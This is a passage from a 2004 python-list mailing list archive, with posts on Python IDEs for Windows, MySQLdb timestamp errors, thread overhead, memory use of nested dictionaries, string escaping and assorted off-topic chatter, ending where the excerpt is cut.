References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au> <200409201005.25963.heikowu@ceosg.de> <mailman.3553.1095679406.5135.python-list@python.org> <414efed5$0$60631$a1866201@newsreader.visi.com> Message-ID: <1095723701.414f6ab5d717d@www-mail.usyd.edu.au> Quoting Grant Edwards <grante at visi.com>: > On 2004-09-20, Ajay <abra9823 at mail.usyd.edu.au> wrote: > > > its actually windows that i would like to find out about. what > > i am trying to do is to anonymize client address by picking a > > random MAC address and using that instead > > That's a pretty bad idea. If you insist on doing it, read the > Ethernet spec so you make sure you're picking a valid address. and why is it a bad idea? also, is there an alternative way to anonymize a client? > > -- > Grant Edwards grante Yow! Yow! I'm out of > at work...I could go > into > visi.com shock absorbers...or > SCUBA > GEAR!! > -- > http://mail.python.org/mailman/listinfo/python-list > ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From rynt at 9yahoo.com Wed Sep 8 15:06:48 2004 From: rynt at 9yahoo.com (R Baumann) Date: Wed, 8 Sep 2004 12:06:48 -0700 Subject: Question: tools for business apps development References: <mailman.2847.1094238878.5135.python-list@python.org><1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com><864d370904090606465938fea5@mail.gmail.com><mailman.2980.1094568177.5135.python-list@python.org><2q5vvrFrq42gU2@uni-berlin.de><E0922EB9-01A3-11D9-A2ED-000A957911BC@ksenia.nl> <mailman.3037.1094655105.5135.python-list@python.org> Message-ID: <cqydnRnb6brUxaLcRVn-qw@megapath.net> "Carlos Ribeiro" <carribeiro at gmail.com> wrote in message news:mailman.3037.1094655105.5135.python-list at python.org... > Hello all, > > Thanks to all that have contributed so far. Some very good suggestions > have appeared. I still have my concerns over XUL. Flash is also > another matter -- it requires yet another set of knowledge and tools > before starting to write code. But nonetheless, all these approaches > have their own advantages, namely a richer user experience than it's > possible with plain HTML (or even Tk). So they're really worth > checking. > > As a dig deeper in the search of a business development paradigm for > Python, the more problems I find. It's not only lack of tools. It's > also the lack of a common idiom to write business apps. Each and every > library around uses a different approach to map business objects and > concepts to Python's code. Each one ties things together in a > different way. It's surprising, considering that in Python normally > "there is one way to do it". Not this is a show stopper -- it only > shows how far we are now from something like J2EE. > > I'll keep looking around and checking more stuff. As far as the user > interface is concerned -- I'll probably do it simple, using HTML and > Javascript. Yes, I'm going to implement a webapp, instead of a native > Windows app, or at least that's the current choice (my friend changed > his mind over this). But I'll keep posting my progress. > > -- > Carlos Ribeiro Have you looked at GNUe? From tim.peters at gmail.com Tue Sep 28 12:41:03 2004 From: tim.peters at gmail.com (Tim Peters) Date: Tue, 28 Sep 2004 12:41:03 -0400 Subject: repeat something in a thread, but stop when the program stops In-Reply-To: <Xns95725B68F8800cpl19ghumspamgourmet@195.20.224.116> References: <5db4fffa.0409270551.57a96cda@posting.google.com> <mailman.3969.1096301203.5135.python-list@python.org> <Xns95725B68F8800cpl19ghumspamgourmet@195.20.224.116> Message-ID: <1f7befae040928094144240db0@mail.gmail.com> [Tim Peters, on waking up a thread to check a queue 20 times a second] >> Measure it: you won't be able to see a difference. Modern processors >> cram on the order of 1E9 cycles into each second. Doing a tiny amount >> of work 20 times per second is trivial. [Harald Massa] > You are surely right, Tim. Measuring did not detect the difference. I just > see my tasktray collecting more and more icons of programs which just do a > very tiny amount of work every half a second, and ... as them getting many, > the computer begins to feel more sluggish. Those are quite different, and they do more work than you may think. For example, if a program puts an icon in the Windows systray, then it has a graphical UI too, and has to run a Windows message pump to detect stuff like "is the mouse hovering over my icon now? did they click on me? did they right-click on me? did they double-click on me?". Apps in the systray often do a lot more than just that too. For example, one app in my systray right now hooks itself into the Windows clipboard chain, and intercepts (and so also slows, by some amount I couldn't care less about) all clipboard operations. Another hooks itself into the file system at a low level, tracking all disk changes, and so slows (by a measurable amount!) all disk writes. Heck, the little systray icon showing the pressure on my laptop's touchpad represents a process that has read over a billion bytes since I last booted. Etc. A Python thread waking up to see whether a Python Queue has something in it does none of that stuff. If you have hundreds of Python threads doing this, then you can start to think about maybe worrying when it gets to thousands <wink>. From wesley.kincaid at gmail.com Mon Sep 27 19:42:04 2004 From: wesley.kincaid at gmail.com (Wesley Kincaid) Date: 27 Sep 2004 16:42:04 -0700 Subject: Invalid Literal from MySQLdb Query Message-ID: <ae6ce8e7.0409271542.7be4d984@posting.google.com> I'm attempting to run a simple query through MySQLdb's cursor.execute(). However, when the request includes a timestamp field, I'm getting "ValueError: invalid literal for int(): 9-." Could someone please explain what I'm doing wrong? The table is served off of MySQL 4.0.20 and contains the following fields: doc_id ... int(64) doc_author ... varchar(255) doc_created ... timestamp(14) doc_updated ... timestamp(14) doc_data ... longtext Here's an example of the code I'm attempting: Python 2.3.4 (#1, Sep 24 2004, 12:07:36) [GCC 2.95.4 20011002 (Debian prerelease)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import MySQLdb >>> db = MySQLdb.connect(host="HOSTNAME", user="USER", passwd="PASSWD", db="DB") >>> cursor = db.cursor() >>> cursor.execute("select * from documents") Traceback (most recent call last): File "<stdin>", line 1, in ? File "/home/oneofmanyme/local/lib/python2.3/site-packages/MySQLdb/cursors.py", line 95, in execute return self._execute(query, args) File "/home/oneofmanyme/local/lib/python2.3/site-packages/MySQLdb/cursors.py", line 114, in _execute self.errorhandler(self, exc, value) File "/home/oneofmanyme/local/lib/python2.3/site-packages/MySQLdb/connections.py", line 33, in defaulterrorhandler raise errorclass, errorvalue ValueError: invalid literal for int(): 9- If I don't include timestamps (such as doc_created) in the query, things work just fine: >>> cursor.execute("select doc_id, doc_author from documents") 1L >>> print cursor.fetchone() (1L, 'oneofmanyme') Much thanks in advance, Wesley From firstname at lastname.pr1v.n0 Wed Sep 8 07:05:17 2004 From: firstname at lastname.pr1v.n0 (Morten Reistad) Date: Wed, 8 Sep 2004 13:05:17 +0200 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com><769.746T1245T5844062@kltpzyxm.invalid> <opsdy5xuappqzri1@mjolner.upc.no> <p9qdnTnxTYDJR6PcRVn-pw@speakeasy.net> Message-ID: <d1pmhc.6o31.ln@via.reistad.priv.no> In article <p9qdnTnxTYDJR6PcRVn-pw at speakeasy.net>, Rob Warnock <rpw3 at rpw3.org> wrote: >John Thingstad <john.thingstad at chello.no> wrote: >+--------------- >| As you may know XP is not particularly good as a server. >... >| I would go for some Unix implementation (perhaps free-BSD) >| As a workstation XP seems OK. >| I hear a lot of complaints about XP's stability. >| Since I have not administered a XP network, yet, I cant comment on that. >| But in my personal experience it is a stable system. >| I frequently let my computer run 24 hrs. a day for more than a month >| without a need to reboot. So for me it is adequate. >+--------------- There you say it all. I consider two of my FreeBSD-boxes unstable at the moment. I've had to reboot each of them twice in 18 months. They both run the full complement of apache, sendmail, mysql, Free/SWAN leafnode and a score of other stuff; and they go into wedged mode. Different expectations. >*Only* a month?!? Here's the uptime for one of my FreeBSD boxes >[an old, slow '486]: > > % uptime > 2:44AM up 630 days, 21:14, 1 user, load averages: 0.06, 0.02, 0.00 > % > >That's over *20* months!! > > >-Rob > >p.s. I remember the time back in the early 70's (at Emory Univ.) when >we called DEC Field Service to complain that our PDP-10 had an uptime >of over a year. Why were we complaining? Well, that meant that DEC Field >Service had failed to perform scheduled preventive maintenance (which >usually involved at least one power cycle)... ;-} I had a customer complaint at Prime framed at their tech dept; it was about wrapped counters after ~300 days uptime. -- mrr From zathras at thwackety.com Fri Sep 10 11:33:16 2004 From: zathras at thwackety.com (Michael Sparks) Date: Fri, 10 Sep 2004 16:33:16 +0100 (BST) Subject: WxInter In-Reply-To: <16705.47355.109973.263814@montanaro.dyndns.org> Message-ID: <Pine.LNX.4.44.0409101630040.4881-100000@pingu.thwackety.com> On Fri, 10 Sep 2004, Skip Montanaro wrote: > > Tom> It seems that the thing that people like about Tk is the Canvas > Tom> object has anyone tried the wxFloatCanvas as a replacement. > > Where is it? Google turns up essentially nothing for "wxFloatCanvas" on > either groups or web. That makes it a pretty well-hidden object. Google > offered "wxPlotCanvas" as an alternative. Are they related? http://www.wxpython.org/docs/api/wx.lib.floatcanvas.FloatCanvas.FloatCanvas-class.html (try changing your search terms to wx FloatCanvas :-) NB. I don't use wx, but you *did* ask where it might be :) Regards, Michael. From julioperezsosa at yahoo.com Sun Sep 19 19:14:20 2004 From: julioperezsosa at yahoo.com (julio) Date: Sun, 19 Sep 2004 19:14:20 -0400 Subject: python is going to die! =( References: <mailman.3520.1095631846.5135.python-list@python.org> <pan.2004.09.20.19.27.30.753994@jerf.org> <9c991c08040919154150f63d34@mail.gmail.com> Message-ID: <cil3sg$njp$1@sea.gmane.org> Abe Mathews wrote: > As for C# "killing" Python? I don't think so. There are still plenty > of folks programming in Fortran (and heck, some still in COBOL) for > crying out loud. C is still studied, used, and taught, even though > C++ was should have supplanted it. Maybe at some point Python will > stop being a major development language, but that doesn't mean it's > going to die. > Languages are tools, plain and simple. You appear to have found a > tool that works better for you in the methods that you prefer to work > under. That doesn't diminish the usefulness of someone else's > preferred tool. Just because you like your table saw, that doesn't > mean that the usefulness of my old handsaw is diminished, it just > means we have additional options available. Options are a GOOD thing. > > Abe Mathews If you consider a language used by 5 crazy guys not being dead then fine.And maybe you can see languages as just interchangeable tools when you just develop some custom system scripts, but when 90% of the developers need to consider how many developers you will find to start a proyect, or how the tools that increase your productivity are ,things looks diferent. It is exactly as you said, options are good , and there are no options for a real python ide other than the wingide guys sells their ide for a ridiculously 200$ because they have no competition or because no one realy cares about a real python ide. From elbertlev at hotmail.com Tue Sep 28 18:38:28 2004 From: elbertlev at hotmail.com (Elbert Lev) Date: 28 Sep 2004 15:38:28 -0700 Subject: annoying behavior References: <9418be08.0409280856.9368ddf@posting.google.com> <cjc61h$ag0$1@news2.wdf.sap.corp> Message-ID: <9418be08.0409281438.25e2abe@posting.google.com> Daniel Dittmar <daniel.dittmar at sap.corp> wrote in message news:<cjc61h$ag0$1 at news2.wdf.sap.corp>... I think, it would be good, if some sort of warning is given during import, but not during instantiating the instance of the class. At least in a "debug" mode. What really did happen: the bug was reported after the scrip was running for 30 minutes. PyCheck finds it immediatelly. Why not to do the same kind of check in the interpreter? From alexander.hoffmann at netgenius.de Wed Sep 8 05:31:11 2004 From: alexander.hoffmann at netgenius.de (Alexander Hoffmann) Date: Wed, 8 Sep 2004 11:31:11 +0200 Subject: python memory analysis In-Reply-To: <413DCFEB.2060102@jerf.org> References: <200409061457.50722.alexander.hoffmann@netgenius.de> <200409061817.53100.alexander.hoffmann@netgenius.de> <413DCFEB.2060102@jerf.org> Message-ID: <200409081131.11138.alexander.hoffmann@netgenius.de> Hello Jeremy, On Tuesday 07 September 2004 17:12, Jeremy Bowers wrote: > Alexander Hoffmann wrote: > > Hello Jeremy, > > Thanks for your help ! > > > > Indeed a first invocation of gc.get_objects already gave me an idea about > > what might go wrong. It seems like the garbage collector does not remove > > objects a and b if a references b even though no one else references > > either a or b. > > > > I will continue my analysis. > > My understanding is that in the case where a->b, and nobody else > referencing either, a and b are to be collected at the next run. You're right ! What I didn't see at first is that there indeed was another reference from b to a. So I had something like a double linked list: a.next = b b.prev = a This lead to a and b - which were not referenced by any other object but themselves - were not collected by gc. > If you can produce a concise test case, I strongly suggest posting it to > c.l.p. to get more expert opinions on whether it is a Python bug. I only > know what I've heard the real experts say, and like I said, every time > I've had this problem and I go to produce a test case, the problem > vaporizes on me. Without a concise test case, nobody can help. I feel a bit ashamed because I tend to extensively use unit tests to assure quality of my software (my latest project has approx. 9000 lines of code and among them are about 4000 only for unit tests) and finally I was able make the zombies disappear from memory by manually implementing a destructor for all affected classes. Unfortunately none of my tests covered this issue, I'll try to change that ! > Good luck! Thanks :-) btw: while searching my memory leak I figured out another issue which I will post in a separate thread. There are thousands of tuples allocated by Python which are not freed again. Let's see what people around here know about this... --alex From carribeiro at gmail.com Mon Sep 13 16:10:16 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Mon, 13 Sep 2004 17:10:16 -0300 Subject: Ranting about the state of Python IDEs for Windows Message-ID: <864d3709040913131077f1732d@mail.gmail.com> Oh well. A mailing list is not the most appropriate place for rants (a blog is better), but it's still better than keeping it for myself. I'm frustrated. My search for a good IDE to support my activities -- doing development for Python in the Windows environment -- are not being succesful as I had originally dreamt. I have big constraints on what can I do now; money is not an option, and my current machine is still useful but it's below par for more advanced stuff. It's my fault? Probably. But it's all that I have -- a 500MHz PC with 64MB and Win98 SE. It has to be Windows, for reasons beyond my control (read wife and kids :-). All IDEs I've evaluated so far have shown so far some type of showstopper. Some of them are fixable (I can do it myself), but it's not supposed to be like this. Even for open source projects, the least that one expects is to be able to install and run. The only partial exception so far is Boa Constructor. Riaan is responsive, and there is a lot of things implemented. However, it's far from perfect. It's heavy, takes a long time to load, and has some debatable UI features -- some may like it, but I think about them as little more than annoying design inconsistencies. DrPython has show some promise. However, on my first try I could not start it -- had to patch the initialization code. My patch is a hack, so I haven't contributed it back. The problem is simple, just that my PC just can't handle paths with slashes -- I had to pass backslashes to all os.* calls. I never had this issue before, so I don't know if it's my Windows version or Python's libray fault (I assume the former). I managed to start it yesterday very late at night, but haven't tried to use it immediately. I tried it again now, and it's bombing as soon as I ask to open a new file. Can I fix it? Probably. But that's not the point - I should be delivering code to my customers. I also tried Wing IDE Personal. At first it worked fine; it's a little bit heavy, but... as soon as I try to save some file it bombs, too. Haven't tried to contact the support, because I had decided that I could probably find other tool to fit my bill. Now I may need to reevaluate it once again, but first, it has to start saving files :-|. Other non-option is eric3 -- mainly because I can't install it, Qt being commercial for Windows. The funny thing is that I don't need anything particularly fancy. A good Python editor, syntax coloring, a few helpers (moving blocks & stuff). Debugging is good, but it's not what I really miss. Even form designers -- I could live without them. What I really miss are stuff that I regard as basic: a tabbed editor window for multiple files, and a good project manager interface -- a place where I can find all the files belonging to my projects without having to move around the directory tree whenever I have to do anything. Could I do it using only command-line tools? Probably, but it's not comfortable, convenient or productive. A good IDE would bring me these three things that I'm longing for. For now, I'm still having to resort on PythonWin for all my needs. That's a shame, not because PythonWin isn't good (in fact it's a fantastic piece of software); but because Python deserves better. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From clifford.wells at comcast.net Mon Sep 13 02:12:44 2004 From: clifford.wells at comcast.net (Cliff Wells) Date: Sun, 12 Sep 2004 23:12:44 -0700 Subject: cgi sorting table In-Reply-To: <Xns956313D60584Binderjitraiyahoocom@66.185.95.114> References: <Xns956313D60584Binderjitraiyahoocom@66.185.95.114> Message-ID: <1095055964.26967.51.camel@devilbox.devilnet.internal> On Mon, 2004-09-13 at 05:55 +0000, someguy wrote: > Hi guys, > > I'm using Python to generate a cgi web page with a table. What I > want to do is able to sort the table when the user clicks on a table > header. I'm trying to avoid using DOM and instead just want to use python > to generate a new page. Any ideas? Just have the table header be a link that POSTs back to your cgi script with the index of the column. You don't give a lot of information here, but I'm guessing your table is generated from a Python list, so just use the list's sort() method, then redisplay the page. Regards, Cliff -- Cliff Wells <clifford.wells at comcast.net> From __peter__ at web.de Wed Sep 29 15:24:39 2004 From: __peter__ at web.de (Peter Otten) Date: Wed, 29 Sep 2004 21:24:39 +0200 Subject: Backslash substitutions References: <415b0902$0$30702$8fcfb975@news.wanadoo.fr> Message-ID: <cjf25n$e1u$03$1@news.t-online.com> Vivien Mallet wrote: > How would you perform backslash substitution in a string, just like the > Python parser does? >>> "\\\\A\\tB".decode("string_escape") '\\A\tB' >>> _.encode("string_escape") # back again '\\\\A\\tB' Peter From aleaxit at yahoo.com Mon Sep 20 03:49:55 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 20 Sep 2004 09:49:55 +0200 Subject: Math errors in python References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com> <mailman.3482.1095528019.5135.python-list@python.org> <ida3d.3866$%42.2117@trndny08> <k4grk05437ut8ge389n3k2gqmq93jiij72@4ax.com> <1gkdncx.kyq0oz1excwtyN%aleaxit@yahoo.com> <414e8b22$0$194$edfadb0f@dread11.news.tele.dk> Message-ID: <1gkeol2.ntrvlraqomgfN%aleaxit@yahoo.com> Frithiof Andreas Jensen <frithiof.jensen at diespammerdie.jensen.tdcadsl.dk> wrote: > aleaxit at yahoo.com (Alex Martelli) wrote in news:1gkdncx.kyq0oz1excwtyN% > aleaxit at yahoo.com: > > > Nothing strange there -- HP's calculators were squarely aimed at > > scientists and engineers, who are supposed to know what they're doing > > when it comes to numeric computation (they mostly _don't_, but they like > > to kid themselves that they do!-). > > Oi!!! I resemble that remark ! > > ;-) OK, I should have used first person plural to count myself in, since, after all, I _am_ an engineer...: _we_ mostly don't, but we like to kid ourselves that we do!-) Alex From mlh at furu.idi.ntnu.no Fri Sep 24 15:12:52 2004 From: mlh at furu.idi.ntnu.no (Magnus Lie Hetland) Date: Fri, 24 Sep 2004 19:12:52 +0000 (UTC) Subject: Twisted Matrix - The Motion Picture References: <mailman.3840.1096024612.5135.python-list@python.org> Message-ID: <slrncl8sdk.okj.mlh@furu.idi.ntnu.no> In article <mailman.3840.1096024612.5135.python-list at python.org>, Tim Churches wrote: >Apologies if someone has already posted an item about this, Hm. Didn't *you* just post an item about it? At least it seems like it in my newsreader... Oh, well. Couldn't resist :) -- Magnus Lie Hetland Fallen flower I see / Returning to its branch http://hetland.org Ah! a butterfly. [Arakida Moritake] From aleaxit at yahoo.com Wed Sep 8 02:48:45 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 8 Sep 2004 08:48:45 +0200 Subject: Memory Error while constructing Compound Dictionary References: <ccdb2248.0409070947.7f9e94ec@posting.google.com> <1gjroty.tp0ndj1vwu3e7N%aleaxit@yahoo.com> <ccdb2248.0409071946.5a5dc727@posting.google.com> Message-ID: <1gjscqx.18vzbp1cyrbgdN%aleaxit@yahoo.com> Benjamin Scott <mynewjunkaccount at hotmail.com> wrote: > Thanks for the replies. > > First I will make a minor correction to the code I originally posted > and then I will describe the original problem I am trying to solve, > per Alex's request. > > Correction: > > for s in Lst: > for t in nuerLst: > for r in nuestLst: > Dict[s][t][r]={} > > ...should actually be... > > for s in Lst: > for t in nuerLst: > for r in nuestLst: > Dict[s][t][r]=[] > > That is, the object accessed by 3 keys is a list, not a 4th > dictionary. OK, unfortunately that doesn't change memory requirements, as 16 bytes is still a minimum allocation for an object. > > > The Original Problem: > > The data set: 3 Columns and at least 100,000 rows. However, it can > be up to 1,000,000 rows. Aha -- a sparse 3D matrix, VERY sparse, no more than 1 million "true" entries out of 125 million slots, and all the rest just "placeholders"... > > For the purpose of illustration let's suppose that the first column > has the name of 1,000 "Factories", i.e. there are 1,000 unique symbols > in the first column. Likewise, suppose the second column contains a > "production date" or just a date; there are 250 unique dates in the > second column. Finally, suppose the third column contains a > description of a "widget type"; there are 500 unique widget > descriptions. Sure, quite clear. > > *** i.e. each row contains the name of one factory which produced one > widget type on a particular date. If a factory produced more than one > widget on a given date it is reflected in the data as a new row. *** > > The motivation to construct the mentioned compound dictionary comes > from the fact that I need quick access to the following data sets: ... > len(Lst[n])=3 > > Lst[n][0]="Factory" > Lst[n][1]="date" > Lst[n][2]="WidgetType" > > for s in Lst: > Dict[s[0]][s[1]][s[2]].append('1') > . > . > . > > len(Dict["Factory"]["date"]["WidgetType"]) = #Widgets of some type > produced at a Factory on a given date. > > The idea here is that I will be graphing a handful of the data sets at > a time; they will then be discarded and a new handful will be > graphed... etc. > > What I might attempt next is to construct the required data in R (or > NumPy) since an array object seems better suited for the task. > However, I'm not sure this will avert the memory error. So, does When you represent a sparse matrix as if it was a dense one, you hit a typical wall of combinatorial explosion: you need memory proportional to the product of all the dimensions, and for a matrix of high dimensionality it's a horrid prospect. > anyone know how to increase the RAM limit for a process? Other With a 32-bit CPU you're SOL, IMHO. One option is to change machines: Apple has just announced a very reasonably priced iMac G5, a 64-bit machine intended for the home; or, you can do as I did, and look for a little-used, well-reconditioned, guaranteed PowerMac G5 -- the latter can use 8 GB of physical RAM and more importantly the address space is only bounded by the amount of disk available, so a few hundred GBs may be handled if you're in no hurry. While these are wonderful machines, however, I think you can do better. Consider...: > suggestions are also welcome. The Null Object Design Pattern is more likely to be what you want ( a fancy name for what in this case is quite simple, read on...): Start by placing in each slot of the compound dictionary the SAME object, which is just a placeholder. So you'll still have 125 million slots, but all initially will point at the same placeholder: so you're spending only 125 million times the size of a SLOT, about 4 bytes, for a total of 500 megabytes -- plus something because dictionaries being hash table are always "overdimensioned" a bit, but you should fit very comfortably in your 2GB anyway. Now, as the data come in, you ADD 1 instead of APPENDING a string of '1' to the appropriate slot. THEN and only then, for those relatively very few cells of the 3D matrix take up space for a new object, Moreover with the operations you appear to need you don't need to make a special null object, I think: just the integer 0 will do, and you will not call len() at the end since the integer is already stored in the cell. If you wanted to store more info in each cell or somehow keep track more directly of what cells are non-empty, etc etc, then you would go for a more complete Null Object DP. But for your problem as stated, the following might suffice: 1. initialize your dictionary with: for s in Lst: for t in nuerLst: for r in nuestLst: Dict[s][t][r] = 0 2. update it on each incoming datum with: for s in Lst: Dict[s[0]][s[1]][s[2]] += 1 3 consult it when done with: Dict["Factory"]["date"]["WidgetType"] = #Widgets of some type produced at a Factory on a given date. Hope this helps -- if you do need a bit more, write about it here and I'll happily show you a richer Null Object Design Pattern variant! Alex From nemesis at nowhere.invalid Sun Sep 12 06:55:47 2004 From: nemesis at nowhere.invalid (Nemesis) Date: Sun, 12 Sep 2004 10:55:47 GMT Subject: [ANN] XPN 0.3.1 Message-ID: <rr91ic.7o3.ln@orion.homeinvalid> XPN is an on-line newsreader with Unicode support fully written in Python. It also features random taglines, scoring ... New in this release: * v0.3.1: Added "One Click View" feature. Now you can open an article with a single click on it. * v0.3.1: Fixed some bugs related to the followup function. * v0.3.1: Fixed the timeout bug. Now XPN continue working even if the connection gets a timeout. * v0.3.1: Added "Reply By Mail" feature. Now you can reply by mail directly from XPN. You can specify the portnumber and you can use username and password if the server requires authentication. You can download it from: http://sf.net/projects/xpn -- Non ci sono percorsi pi? brevi da cercare, c'? la strada in cui credi e il coraggio di andare. |\ | |HomePage : http://nem01.altervista.org | \|emesis |XPN (my nr): http://xpn.altervista.org From jmfbahciv at aol.com Sun Sep 5 05:34:21 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Sun, 05 Sep 04 09:34:21 GMT Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <4134a207$0$65568$a1866201@newsreader.visi.com> <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net> <4135ce4a$0$19726$61fed72c@news.rcn.com> <ApudnfQdCY-dfavcRVn-pQ@speakeasy.net> <41371ba4$0$19723$61fed72c@news.rcn.com> <87d613mckn.fsf@k9.prep.synonet.com> <4139b0e3$0$19717$61fed72c@news.rcn.com> <87vfeut0at.fsf@k9.prep.synonet.com> Message-ID: <413af08b$0$19706$61fed72c@news.rcn.com> In article <87vfeut0at.fsf at k9.prep.synonet.com>, Paul Repacholi <prep at prep.synonet.com> wrote: >jmfbahciv at aol.com writes: > >> In article <87d613mckn.fsf at k9.prep.synonet.com>, >> Paul Repacholi <prep at prep.synonet.com> wrote: > >>>All of them where in the 4.x monitir I used. many of the 427 source >>>file are on Tim's site, so you can have a look in COMTAB and see. > >> huh..The why did I have to do TTY:_DT0:/L or LPT:_DT0:/L to get >> directories? And to print a file on the line printer required the >> PIP command LPT:_DSK:FOO.FOR > >My bad... I claim bit rot of the grey stuff... Whew! Oh, good. At least I'm not complete nuts. I don't good that your brain has rot but good that my brain didn't. > >Yes DIR and friends came later, post or part of(?) COMPIL. Well, I always got confused with the lingo, too. There was the program COMPIL and then there were the compile-class commands which had a little something to do with COMPIL but not really. I never did sort out the lingo. The program COMPIL picked up where and which compiler would get GETSEGed into your address space to compile your the program specification you handed it. If your file had a non-standard extension, e.g., FOO.BAR, COMPIL had a heirarchal list of which compiler to choose to process the contents of FOO.BAR. I always liked to feed a FORTRAN program to COBOL and visa versa just to see if I wreak any havoc to the compiler and the monitor. /BAH Subtract a hundred and four for e-mail. From tjreedy at udel.edu Sat Sep 25 19:23:08 2004 From: tjreedy at udel.edu (Terry Reedy) Date: Sat, 25 Sep 2004 19:23:08 -0400 Subject: [OT] "Pre-announcement" of Python-based "computing appliance"project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com><89adnWTWC6JVscncRVn-uw@giganews.com><enp8l09sql1ikh98s530erp5b79hfpf14o@4ax.com><du7d60bbhah.fsf@amadeus.cc.tut.fi><10l90qcihqrjba1@corp.supernews.com> <du78yayby1a.fsf@mozart.cc.tut.fi> Message-ID: <cj4ul0$nt5$1@sea.gmane.org> "Ville Vainio" <ville at spammers.com> wrote in message > But aren't they probabilities just because we haven't understood them? That is the question. To me, the underlying question is whether the existence of this universe (in particular, the big bang) was 'deterministic' or 'arbitrary' in some megauniverse. > A thing like "probability" just can't exist in the ultimate Reality. That is your religious belief -- and perhaps Enstein's. But I am not sure that God has any choice but to play dice. > No lab equipment can prove the absence of further mechanisms > directing the phenomena that have been observed and "proved" to be > nondeterministic. Given that no lab equipment can prove the absence of anything, this is a vacuous statement (irony intended ;-). There is a mathematical theorem in quantum mechanics that claims, as I recall, that certain observable phenomena will be different depending upon whether there are or are not unobserved 'hidden variables' that would, if they were known, remove indetermancy. About 20 years ago, observations were obtained which clearly agreed with the no hiddem variables option. Of course, if the premises are wrong, then so are the conclusions. But the burden is on QM premise doubters to produce an alternative that accords with data just as well as QM. Terry J. Reedy From askari at addressNonValide.com Wed Sep 1 09:15:14 2004 From: askari at addressNonValide.com (Askari) Date: Wed, 01 Sep 2004 13:15:14 GMT Subject: Instruction at "0x00FC3D70" use memory address "0x00000000". Can't be "read". References: <Xns95575468C136EaskariaddressNonVali@207.35.177.135> <KaCdnQsNs7tuXKjcRVn-vA@powergate.ca> Message-ID: <Xns95575E57EB5E5askariaddressNonVali@207.35.177.135> Peter Hansen <peter at engcorp.com> wrote in news:KaCdnQsNs7tuXKjcRVn-vA at powergate.ca: > Askari wrote: > >> Yesterday, ALL code in python work and nothing when I close(finish) a >> code. Today, when I close, some raise this windows error : >> >> Instruction at "0x00FC3D70" use memory address "0x00000000". Can't be >> "read". >> Click on "OK" to exit program. >> >> Why this error, today and not before today? > > Does it do this after you reboot the computer? (You're > using Windows, right?) > > -Peter > The error (always the same error "0x00FC3D70") is always on the same codes (and no change after reboot computer). And the some code with no "exit error", haven't all the same architecture (some with "while 1 ... and a sleep" and some with ".mainloop")). When I reboot, no fix. :-( (is the first action that I do for fix this...) Ops..I forgot to give my specifics : Os : Windows XP Pro (service pack 1) Python : 2.3.4 RAM : 1 Gig (Dual RAM at 400 Mhz) Proc. : 2,8 GHz (Pentium 4) Disk : over 100 Gigs on hard disk.... Askari From godoy at ieee.org Sun Sep 19 20:43:56 2004 From: godoy at ieee.org (Jorge Godoy) Date: Sun, 19 Sep 2004 21:43:56 -0300 Subject: Economic considerations References: <mailman.3318.1095180577.5135.python-list@python.org> <2qq5adF133c5kU1@uni-berlin.de> <m3isaf1xki.fsf@g2ctech.com> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <f5ao12-46u.ln1@lairds.us> <m3acvp38zv.fsf@g2ctech.com> <Xns956AE1BDA06EJanC@213.118.38.197> Message-ID: <m31xgxepmb.fsf@g2ctech.com> JanC <usenet_spam at janc.invalid> writes: > Jorge Godoy schreef: > >> claird at lairds.us (Cameron Laird) writes: >> >>> Incidentally, my expert sources emphasize to me that GIMP still >>> has a long way to go before it effectively rivals Photoshop. >> >> I've been told that too. Maybe because I'm not into the graphics area I >> think it works pretty well :-) > > Just try to make a CMYK separation or use Pantone colors in The GIMP and > you'll know what they are talking about... ;-) To be honest, I have no idea what are these things for. I just know that there's something with regards to CMYK here, but I haven't seen Pantone. (OK, I know that these are color representation "tables", but I don't know when to use one or the other or when to use RGB... An architect friend of mine explained that but she was talking about other things too and I didn't pay much attention to that...) -- Godoy. <godoy at ieee.org> From ark at acm.org Wed Sep 22 16:46:38 2004 From: ark at acm.org (Andrew Koenig) Date: Wed, 22 Sep 2004 20:46:38 GMT Subject: detecting variable types References: <cisjhb$6kr$1@news-int.gatech.edu> <Y-WdnWCkPIytTszcRVn-vQ@powergate.ca> <ciskpq$7f2$1@news-int.gatech.edu> Message-ID: <Owl4d.414337$OB3.377122@bgtnsc05-news.ops.worldnet.att.net> "Jay" <wjjeonk at hotmail.com> wrote in message news:ciskpq$7f2$1 at news-int.gatech.edu... > Here's what I'm trying to do: > > I have a function like this: > > def func(**params): > > # if params[key1] is a single string > # do something with params[key1] > > # if params[key1] is a list of strings > for val in params[key1]: > # do something > > Could you suggest a better way to do this without detecting the type? I don't see anything particularly wrong with detecting the type this way: if isinstance(params[key1], list): for val in params[key1]: # do something else: # do something with params[key1] Of course that won't work for other kinds of sequences, but if that's what you want, then that's what you want. From roy at panix.com Thu Sep 2 09:00:35 2004 From: roy at panix.com (Roy Smith) Date: Thu, 02 Sep 2004 09:00:35 -0400 Subject: Announcing PyCs, a new Python-like language on .Net References: <mailman.2572.1093751093.5135.python-list@python.org> <1093788608.645541@news.commspeed.net> <mailman.2712.1094021283.5135.python-list@python.org> <7xoekq4ehv.fsf@ruckus.brouhaha.com> <gx8haghholfn.g4vz6pwzmdbg$.dlg@40tude.net> <du7llftiv1f.fsf@lehtori.cc.tut.fi> <mailman.2750.1094098661.5135.python-list@python.org> <du7ekll8bmw.fsf@lehtori.cc.tut.fi> Message-ID: <roy-5662B4.09003502092004@reader1.panix.com> Ville Vainio <ville at spammers.com> wrote: > I imagine regexps have been around long before perl, though I might be > wrong. Regex's were around long before Perl. I first saw regex in about 1977 or so when 